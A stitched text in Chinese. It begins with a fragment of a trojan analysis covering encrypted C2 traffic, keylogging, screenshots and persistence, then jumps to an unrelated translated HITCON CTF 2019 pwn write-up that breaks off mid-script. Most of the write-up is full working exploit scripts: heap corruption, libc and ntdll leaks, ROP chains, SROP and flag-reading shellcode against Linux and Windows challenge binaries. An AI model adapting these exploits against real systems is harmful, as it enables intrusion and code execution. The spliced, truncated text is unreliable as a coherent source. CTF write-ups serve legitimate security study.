之后，又生成随机字符串，并进行异或，加在前面，这样形成了一个0x20字节的数据，这个数据组成位4字节随机+4字节RC4密钥+密文（密文包括硬编码key与硬板序列号）
Base64算法，不是标准算法，使用的可打印字符如下，改变了最后两个字符
Base64算法，最终将上面的0x20的字节编码成base64字符
之后将固定的硬编码字符相连接组成URL
**Post数据包数据包解析**
可以看到Post数据包的原始数据，使用的加密方法还是通URL加密方法一样，用RC4方法进行加密，然后用base64进行编码，具体的例子见上一节
0到19字节 key硬编码字节，用于验证
20到21字节 0100 表示AgentKernel模块，这是是这个模块发送
22到39字节表示里面包含的各个模块，用字符#相隔开
0100 表示AgentKernel模块
0110 表示modKey 模块
0111 表示modFS模块
0113 表示modProcRet模块
**Get请求**
Get请求会在Post数据包发送15分钟之后进行发送，发送URL，整体的数据与加密方式如上然后等待获取命令
样本在尝试连接网络会开启多个线程，现在开始分析各个线程
**写入临时文件模块配置**
在临时文件夹写入一个文件zdg6EF885E2.tmp
文件内容如下，开头的四个字节为字符串大小
4到7字节 0x5c997933 表示获取的硬盘信息
8到9字节 0x0001 表示AgentKernel 的ID 必备
后面是一个模块配置通过 # 相jiange
0100 表示AgentKernel模块
0110 表示modKey 模块
0111 表示modFS模块
0113 表示modProcRet模块
获取硬盘信息
构建ID
**等待邮槽信息进行屏幕截图**
等待获取邮槽信息
匹配指令SCREEN进行屏幕截图
**监控系统窗口，进行键盘记录或者截屏**
监控当前windows系统最前的窗口
进行键盘记录
发送命令进行截图
**文件操作**
写入文件
查找文件，进行执行删除等操作
**ose0000.exe文件分析**
此文件主要进行设置dll木马的持久化操作 | 社区文章 |
# HITCON CTF 2019 Pwn 题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
文件链接：<https://github.com/Ex-Origin/ctf-writeups/tree/master/hitcon_ctf_2019/pwn>。
## Trick or Treat
一道 misc pwn，考验答题者的脑洞。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-2Ch]
__int128 size; // [rsp+8h] [rbp-28h]
__int64 v5; // [rsp+18h] [rbp-18h]
_QWORD *v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
size = 0uLL;
v5 = 0LL;
v6 = 0LL;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
write(1, "Size:", 5uLL);
__isoc99_scanf((__int64)"%lu", &size);
v6 = malloc(size);
if ( v6 )
{
printf("Magic:%pn", v6);
for ( i = 0; i <= 1; ++i )
{
write(1, "Offset & Value:", 0x10uLL);
__isoc99_scanf((__int64)"%lx %lx", (char *)&size + 8, &v5);
v6[*((_QWORD *)&size + 1)] = v5;
}
}
_exit(0);
}
思路：
* 申请的size足够大，使得其使用 mmap 进行内存申请，从而用其偏移计算 libc 地址
* 把 free_hook 指向 system
* ed 绕过滤
* !/bin/sh 执行shell
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols.c', 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
# pass
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './trick_or_treat'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b free
'''
f = open('/tmp/gdb_pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
sh.sendlineafter('Size:', str(0x40000))
sh.recvuntil('Magic:')
ptr_base = int(sh.recvuntil('n'), 16)
# Maybe different environments has different offset value.
libc_addr = ptr_base - 0x10 - 0x5b7000
log.success('libc_addr: ' + hex(libc_addr))
sh.recvuntil('Offset & Value:')
offset = (libc_addr + libc.symbols['__free_hook']) - ptr_base
offset = int(offset / 8) + 0x10 ** 16
sh.sendline('%lx %lx' % (offset, libc_addr + libc.symbols['system']))
sh.recvuntil('Offset & Value:')
sh.sendline('0' * 0x400 + ' ed')
sh.sendline('!/bin/sh')
sh.interactive()
clear()
## dadadb
来自 `Angel boy` 的题目，质量当然毋庸置疑。
其链表并没有什么问题，成链和解链都很正常。
漏洞比较简单，在 add 的时候，当对应的 链表 如果有 指针的话，则会把原先的 free
掉后再申请新的，但是其并没有更新其size，也就意味着使用的仍然是原先的size，如果原先的size本身就很大的话，无疑直接导致了 heap
overflow。
int add()
{
...
v2 = global_ptr[(unsigned __int8)Dst[0]];
if ( !v2 )
goto LABEL_14;
while ( 1 )
{
v3 = v2->key;
do
{
v4 = (unsigned __int8)v3[Dst - v2->key];
v5 = (unsigned __int8)*v3 - v4;
if ( (unsigned __int8)*v3 != v4 )
break;
++v3;
}
while ( v4 );
if ( !v5 )
break;
v2 = v2->next;
if ( !v2 )
goto LABEL_14;
}
if ( v2 )
{
HeapFree(hHeap, 0, v2->ptr);
printf("Size:");
v8 = GetStdHandle(0xFFFFFFF6);
if ( !ReadFile(v8, Buffer, 0x10u, &NumberOfBytesRead, 0i64) )
{
puts("read error");
_exit(1);
}
v9 = NumberOfBytesRead;
if ( Buffer[NumberOfBytesRead - 1] == 10 )
Buffer[NumberOfBytesRead - 1] = 0;
if ( Buffer[v9 - 2] == 13 )
Buffer[v9 - 2] = 0;
v10 = atoll(Buffer);
if ( v10 >= 0x1000 )
v10 = 4096i64;
v2->ptr = (char *)HeapAlloc(hHeap, 8u, v10);
printf("Data:");
v11 = v2->size;
v12 = v2->ptr;
v13 = GetStdHandle(0xFFFFFFF6);
if ( !ReadFile(v13, v12, v11, &NumberOfBytesRead, 0i64) )
{
puts("read error");
_exit(1);
}
...
return puts("Done!");
}
### 思路
* 控制其指针结构进行任意读。
由于我的Windows的dll是和靶机一样的，所以直接用 windbg 读 symbols 就行，假如靶机用的是一个比较冷门的dll，那么获取其对应的
symbols 应该也比较麻烦。
* 伪造假的 chunk 放入 FreeList，从而控制 data 段的 fp 指针。
* 利用 FILE – fread 进行任意写
这里和 Linux 的 fread 任意读类似。
* 劫持返回地址，进行 ROP 使得内存有可执行权限，然后跑 shellcode 读 flag。
在Windows 下进行 ROP 来读 flag 很麻烦，不如直接写 shellcode 来的快，这里我提醒一下，要注意 栈下溢，否则 ReadFile
时可能会出错。
### 脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import time
context.arch = 'amd64'
# context.log_level = 'debug'
sh = remote('192.168.3.129', 10001)
def login(user, passwd):
sh.sendlineafter('>> ', '1')
sh.sendafter('User:', user)
sh.sendafter('Password:', passwd)
def add(key, size, data):
sh.sendlineafter('>> ', '1')
sh.sendafter('Key:', key)
sh.sendlineafter('Size:', str(size))
sh.sendafter('Data:', data)
def show(key):
sh.sendlineafter('>> ', '2')
sh.sendafter('Key:', key)
sh.recvuntil('Data:')
def delete(key):
sh.sendlineafter('>> ', '3')
sh.sendafter('Key:', key)
login('orange', 'godlike')
add('11', 0x100, '11')
add('22', 0x30, '22')
add('11', 0x30, '11')
add('33', 0x200, '33')
show('11')
head = sh.recvn(0x40)
heap_addr = u64(sh.recvn(8)) - 0xa90
log.success('heap_addr: ' + hex(heap_addr))
add('11', 0x30, head + p64(heap_addr + 0x2c0))
show('33')
result = sh.recvn(8)
dot_data = 0x15f000
ntdll = (u64(result) - dot_data) & 0xffffffffffff0000
log.success('ntdll: ' + hex(ntdll))
PebLdr_symbol = 0x1653c0
add('11', 0x30, head + p64(ntdll + PebLdr_symbol - 0xb8))
show('33')
Peb_addr = u64(sh.recvn(8)) & 0xfffffffffffff000
log.success('Peb_addr: ' + hex(Peb_addr))
add('11', 0x30, head + p64(Peb_addr + 0x10))
show('33')
image_base_addr = u64(sh.recvn(8))
log.success('image_base_addr: ' + hex(image_base_addr))
Teb_addr = Peb_addr + 0x1000
add('11', 0x30, head + p64(Teb_addr + 8))
show('33')
stack_base = u64(sh.recvn(8))
log.success('stack_base: ' + hex(stack_base))
ret_content = p64(image_base_addr + 0x1E38)
main_ret = 0
offset = 0x200
while(True):
add('11', 0x30, head + p64(stack_base - offset))
show('33')
result = sh.recvn(0x200)
position = result.find(ret_content)
if(position != -1):
main_ret = stack_base - offset + position
break
offset += 0x200
log.success('main_ret: ' + hex(main_ret))
add('11', 0x30, head + p64(image_base_addr + 0x3000))
show('33')
ReadFile_addr = u64(sh.recvn(8))
KERNEL32 = ReadFile_addr - 0x22680
log.success('KERNEL32: ' + hex(KERNEL32))
# clear
add('clear', 0x50, 'clear')
add('44', 0x200, '44')
add('44', 0x50, '44')
add('55', 0x40, '55')
add('66', 0x40, '66')
# free
add('55', 0x50, '55')
add('66', 0x50, '66')
show('44')
result = sh.recvn(0x200)
xor_header = result[0x188: 0x190]
sh.sendlineafter('>> ', '4') # logout
payload = xor_header + p64(heap_addr + 0xe50) + p64(heap_addr + 0xf10) # fake chunk
login('orange', 'godlike' + payload)
# UAF modify Flink and Blink
payload = result[: 0xd8] + p64(image_base_addr + 0x5658) + result[0xe0:0x190] + p64(image_base_addr + 0x5658)
add('44', 0x50, payload)
add('77', 0x40, '77')
add('88', 0x40, 'p' * 0x10 + p64(heap_addr + 0x1170)) # hijack FILE
fake_FILE = [
0,
main_ret - 0x280, # login ret
p32(0), p32(0x2080),
0,
0x200,
0,
0xffffffffffffffff,
p32(0xffffffff), p32(0),
0,
0,
]
add('99', 0x100, flat(fake_FILE))
sh.sendlineafter('>> ', '4') # logout
login('aa', 'bb')
pop_rdx_ret = ntdll + 0x57642
pop_rcx_r8_r9_r10_r11_ret = ntdll + 0x8fb31
VirtualProtect = KERNEL32 + 0x1B680
layout = [
pop_rdx_ret,
0x1000,
pop_rcx_r8_r9_r10_r11_ret,
heap_addr,
0x40, # PAGE_EXECUTE_READWRITE
heap_addr + 0x1000,
0,0,
VirtualProtect,
ntdll + 0x220dc, #: add rsp, 0x18; ret;
0,0,0,
ntdll + 0x9217b, #: pop rcx; ret;
0xFFFFFFF6,
KERNEL32 + 0x1c890, # GetStdHandle
ntdll + 0x3537a, #: mov rcx, rax; mov rax, rcx; add rsp, 0x28; ret;
0,0,0,0,0,
pop_rdx_ret,
heap_addr,
ntdll + 0x8fb32, #: pop r8; pop r9; pop r10; pop r11; ret;
0x100,
heap_addr + 0x1100,
0,
0,
KERNEL32 + 0x22680, # ReadFile
heap_addr,
0,0,0,
0,
]
sh.send(flat(layout).ljust(0x100, ''))
time.sleep(1)
asm_str = '''
sub rsp, 0x1000 ;// to prevent underflowing
mov rax, 0x7478742e67616c66 ;// flag.txt
mov [rsp + 0x100], rax
mov byte ptr [rsp + 0x108], 0
lea rcx, [rsp + 0x100]
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
mov dword ptr[rsp + 0x20], 3
mov dword ptr[rsp + 0x28], 0x80
mov [rsp + 0x30], r9
mov rax, %d
call rax ;// CreateFile
mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, 0x200
lea r9, [rsp + 0x30]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// ReadFile
mov ecx, 0xfffffff5 ;// STD_OUTPUT_HANDLE
mov rax, %d
call rax ;// GetStdHandle
mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, [rsp + 0x30]
lea r9, [rsp + 0x40]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// WriteFile
mov rax, %d
call rax ;// exit
''' % ( KERNEL32 + 0x222f0, KERNEL32 + 0x22680, KERNEL32 + 0x1c890, KERNEL32 + 0x22770, image_base_addr + 0x1B86)
shellcode = asm(asm_str)
sh.send(shellcode)
sh.interactive()
## Crypto in the Shell
这题比较简单，没有设置很多障碍，漏洞点也很明显，就是明显的数组溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rsi
signed int i; // [rsp+8h] [rbp-28h]
__int64 offset; // [rsp+10h] [rbp-20h]
size_t size; // [rsp+18h] [rbp-18h]
void *local_buf; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]
v9 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = 0LL;
setvbuf(stderr, 0LL, 2, 0LL);
readkey();
for ( i = 0; i <= 31; ++i )
{
printf("offset:", v3);
if ( scanf("%llu", &offset) != 1 )
break;
printf("size:");
v3 = &size;
if ( scanf("%llu", &size) != 1 )
break;
if ( size )
{
size = (size & 0xFFFFFFFFFFFFFFF0LL) + 16;
local_buf = &buf[offset];
AESencrypt(&AESkey, &iv, &buf[offset], size);
v3 = local_buf;
write(1, local_buf, size);
}
}
return 0;
}
### 思路
* 修改 key, iv 并泄露出来。
* 利用 key, iv 泄露出 libc、镜像、栈 地址。
* 修改 局部变量i ，使得我们有很多次机会
* 任意写
任意写的原理就是爆破一个字节，利用加密函数进行爆破使得其等于我们需要的那个字节，否则就继续爆破，知道出现预期结果为止。多个字节的话，单字节爆破叠加即可。
### 脚本
概率 `1/2` ，成功的主要因数取决于 修改的`局部变量i` 是否为负数。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
from Crypto.Cipher import AES
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols.c', 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
# pass
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './chall'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0x127F)
'''
f = open('/tmp/gdb_pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def decrypt(key, iv, data):
instance = AES.new(key, AES.MODE_CBC, iv)
return instance.decrypt(data)
def run_service(offset, size):
sh.sendlineafter('offset:', str(offset))
sh.sendlineafter('size:', str(size))
return sh.recvn((size & 0xfffffff0) + 0x10)
# modify key,iv and get them
result = run_service(0xffffffffffffffe0, 0x10)
key = result[:0x10]
iv = result[0x10:]
# leak
cipher = run_service(0xffffffffffffffc0, 1)
result = decrypt(key, iv, cipher)
libc_addr = u64(result[:8]) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))
cipher = run_service(0xfffffffffffffc60, 1)
result = decrypt(key, iv, cipher)
image_base_addr = u64(result[8:16]) - 0x202008
log.success('image_base_addr: ' + hex(image_base_addr))
offset = (libc_addr + libc.symbols['environ']) - (image_base_addr + elf.symbols['buf'])
cipher = run_service(offset, 1)
result = decrypt(key, iv, cipher)
stack_addr = u64(result[:8])
log.success('stack_addr: ' + hex(stack_addr))
# hijack local variable
i_addr = stack_addr - 0x120
offset = (i_addr) - (image_base_addr + elf.symbols['buf'])
run_service(offset, 1)
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# arbitrary memory writing
one_gadget = p64(libc_addr + 0x4f322)
offset = (stack_addr - 0xf0) - (image_base_addr + elf.symbols['buf'])
for i in range(8):
while(True):
result = run_service(offset + i, 1)
if(one_gadget[i] == result[0]):
log.success('i : ' + str(i))
break
print('')
content = '' * 8
offset = (libc_addr + libc.symbols['environ']) - (image_base_addr + elf.symbols['buf'])
for i in range(8):
while(True):
result = run_service(offset + i, 1)
if(content[i] == result[0]):
log.success('i : ' + str(i))
break
sh.sendlineafter('offset:', 'a')
sh.interactive()
clear()
### 另一种思路
由于有可以任意地址读，那么可以直接劫持 stdin 进行任意地址写。
## one punch man
靶机环境是 glibc-2.29 ，需要用到一些新特性来进行利用以达到任意代码执行。
void delete()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]
write_str("idx: ");
v0 = get_int();
if ( v0 > 2 )
error((__int64)"invalid");
free((void *)heros[v0].calloc_ptr);
}
漏洞点在于 delete 时没有清理指针导致的 UAF ，程序使用的是 calloc 函数来获取 堆内存，这使得 tcache
就不能使用了，但是后门函数使用的仍然是malloc函数，不过我们需要满足其 tcache->counts 大于 6 才行。这就是该题的难点。
### 思路
* 用 UAF 构造 chunk overlap
* 用 tcache->counts 来伪造 size， 用 tcache->entries 伪造 fake_chunk 的 fd 和 bk，提前布置好 堆布局，以便绕过 unlink 检查。
* unlink 控制 tcache->entries，劫持hook控制程序流，然后SROP再执行shellcode读取flag。
*
### 脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './one_punch'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.29.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def add(index, content):
sh.sendlineafter('> ', '1')
sh.sendlineafter('idx: ', str(index))
sh.sendafter('name: ', content)
def edit(index, content):
sh.sendlineafter('> ', '2')
sh.sendlineafter('idx: ', str(index))
sh.sendafter('name: ', content)
def show(index):
sh.sendlineafter('> ', '3')
sh.sendlineafter('idx: ', str(index))
sh.recvuntil('name: ')
return sh.recvuntil('n', drop=True)
def delete(index):
sh.sendlineafter('> ', '4')
sh.sendlineafter('idx: ', str(index))
def backdoor(content):
sh.sendlineafter('> ', '50056')
time.sleep(0.1)
sh.send(content)
add(2, 'a' * 0x217)
for i in range(2):
add(0, 'a' * 0x217)
delete(0)
result = show(0)
heap_addr = u64(result.ljust(8, '')) & 0xfffffffffffff000
log.success('heap_addr: ' + hex(heap_addr))
for i in range(5):
add(0, 'a' * 0x217)
delete(0)
delete(2)
result = show(2)
libc_addr = u64(result.ljust(8, '')) - 0x1e4ca0
log.success('libc_addr: ' + hex(libc_addr))
length = 0xe0
add(0, 'a' * length)
add(0, 'a' * 0x80)
edit(2, '' * length + p64(0) + p64(0x21))
delete(0)
edit(2, '' * length + p64(0) + p64(0x31))
delete(0)
edit(2, '' * length + p64(0) + p64(0x3a1))
delete(0)
for i in range(3):
add(1, 'b' * 0x3a8)
delete(1)
edit(2, '' * length + p64(0x300) + p64(0x570) + p64(0) + p64(0) + p64(heap_addr + 0x40) + p64(heap_addr + 0x40))
delete(0)
add(0, 'c' * 0x100 + p64(libc_addr + libc.symbols['__free_hook']) + '')
# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
layout = [
libc_addr + 0x0000000000047cf8, #: pop rax; ret;
10,
libc_addr + 0x00000000000cf6c5, #: syscall; ret;
heap_addr + 0x260 + 0xf8,
]
backdoor(p64(libc_addr + 0x000000000012be97) + flat(layout) + '')
frame = SigreturnFrame()
frame.rdi = heap_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = libc_addr + libc.symbols['__free_hook'] + 8
frame.rip = libc_addr + 0x55cc4 # ret
shellcode = asm('''
push 0x67616c66 ;// flag
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js fail
mov edi, eax
mov rsi, rsp
mov edx, 100
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
mov eax, 1
mov edi, eax
syscall ;// write
jmp exit
fail:
mov rax, 0x727265206e65706f ;// open error!
mov [rsp], rax
mov eax, 0x0a21726f
mov [rsp+8], rax
mov rsi, rsp
mov edi, 1
mov edx, 12
mov eax, edi
syscall ;// write
exit:
xor edi, edi
mov eax, 231
syscall
''')
edit(2, p64(libc_addr + 0x55E35) + p64(heap_addr + 0x260) + str(frame)[0x10:] + shellcode)
delete(2)
sh.interactive()
clear()
### 另一种思路
利用 large bin attack 攻击 tcache->counts ，那么可以绕过限制直接调用后门。
## LazyHouse
乘法溢出漏洞，重要输入的值满足下面的判断就能导致溢出。
unsigned long input;
if((218 * input < 116630) && ((input * 64) > (218 * input)))
{
puts("Multiplication overflow");
}
其原理是利用乘法的进位使得恰好溢出，并且得到的值小于`116630`，可以利用除法来进行反向计算获得其溢出的输出。
unsigned long input = -1;
input = input/218 + 1;
### 思路
* 乘法溢出，解除 内存申请的限制
* chunk overlap，使得 heap 布局可以自由控制
* 泄露 heap 地址，和 libc 地址
* large bin attack 修改 global_max_fast ，使得可以继续使用fastbin
* fastbin attack 劫持 tcache
* 修改 hook ，利用 calloc 的特性进行栈转移。
* ROP 读 flag
通过调试靶机的 libc 可以发现 calloc 函数使用 rbp 当做寄存器变量来存储 传入的 size，所以我们可以控制其 size 进行栈转移。
### 脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols.c', 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
# pass
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './lazyhouse'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.29.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/gx $rebase(0x5010)
x/24gx $rebase(0x5060)
end
b calloc
'''
f = open('/tmp/gdb_pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def add(index, size, content):
sh.sendlineafter('Your choice: ', '1')
sh.sendlineafter('Index:', str(index))
sh.sendlineafter('Size:', str(size))
if(content):
sh.sendafter('House:', content)
def show(index):
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('Index:', str(index))
def delete(index):
sh.sendlineafter('Your choice: ', '3')
sh.sendlineafter('Index:', str(index))
def edit(index, content):
sh.sendlineafter('Your choice: ', '4')
sh.sendlineafter('Index:', str(index))
sh.sendafter('House:', content)
def triger(content):
sh.sendlineafter('Your choice: ', '5')
sh.sendafter('House:', content)
# Multiplication overflow
add(0, 0x12c9fb4d812c9fc, None)
delete(0)
# chunk overlap
add(0, 0x88, 'n')
add(1, 0x248, 'n')
add(2, 0x248, 'n')
add(6, 0x248, 'n')
add(3, 0x88, 'n')
add(7, 0x88, 'n')
add(4, 0x448, 'n')
for i in range(7):
add(5, 0x248, 'n')
delete(5)
edit(0, 'a' * 0x80 + p64(0) + p64(0x781))
delete(1)
add(1, 0x338, 'b' * 0x240 + p64(0) + p64(0x251))
add(5, 0x600, 'n')
show(2)
sh.recvn(0xf0)
libc_addr = u64(sh.recvn(8)) - 1120 - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
sh.recvn(8)
heap_addr = u64(sh.recvn(8)) & 0xfffffffffffff000
log.success('heap_addr: ' + hex(heap_addr))
# large bin attack
delete(2)
add(2, 0x248, 'c' * 0xe0 + p64(0) + p64(0x441) + p64(libc_addr + 0x1e50a0) + p64(libc_addr + 0x1e50a0) + p64(0) + p64(libc_addr + 0x1e7600 - 0x20))
delete(4)
add(4, 0x88, 'n')
# fastbin attack
delete(4)
delete(2)
edit(1, 'd' * 0x240 + p64(0) + p64(0x251) + p64(heap_addr))
# for ROP
layout = [
0,
libc_addr + 0x0000000000026542, #: pop rdi; ret;
heap_addr + 0x540 + 0x100,
libc_addr + 0x0000000000026f9e, #: pop rsi; ret;
0,
libc_addr + 0x0000000000047cf8, #: pop rax; ret;
2,
libc_addr + 0x00000000000cf6c5, #: syscall; ret;
libc_addr + 0x0000000000026542, #: pop rdi; ret;
3,
libc_addr + 0x0000000000026f9e, #: pop rsi; ret;
heap_addr,
libc_addr + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc_addr + 0x0000000000047cf8, #: pop rax; ret;
0,
libc_addr + 0x00000000000cf6c5, #: syscall; ret;
libc_addr + 0x0000000000026542, #: pop rdi; ret;
1,
libc_addr + 0x0000000000026f9e, #: pop rsi; ret;
heap_addr,
libc_addr + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc_addr + 0x0000000000047cf8, #: pop rax; ret;
1,
libc_addr + 0x00000000000cf6c5, #: syscall; ret;
libc_addr + 0x0000000000026542, #: pop rdi; ret;
0,
libc_addr + 0x0000000000047cf8, #: pop rax; ret;
231,
libc_addr + 0x00000000000cf6c5, #: syscall; ret;
]
add(2, 0x248, flat(layout).ljust(0x100, '') + './flag')
# hijack tcache
add(4, 0x248, '' * 0x40 + p64(0) * 0x20 + p64(libc_addr + libc.symbols['__malloc_hook']))
triger(p64(libc_addr + 0x0058373))
delete(4)
# triger ROP
sh.sendafter('Your choice: ', '1'.ljust(0x20, '0'))
sh.sendlineafter('Index:', str(4))
sh.sendlineafter('Size:', str(heap_addr + 0x540))
sh.interactive()
clear()
### 其他思路
1. 利用 small bin 来劫持 tcache (balsn战队)
2. 利用 SROP 代替栈转移
## POE luna
借用作者的原话，直接分析二进制代码就足够了。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols.c', 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
# pass
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './luna'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/4gx 0x6D9340
echo array:\n
x/16x *(void **)0x6D9340
end
b *0x4011a2
'''
f = open('/tmp/gdb_pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def new_tab():
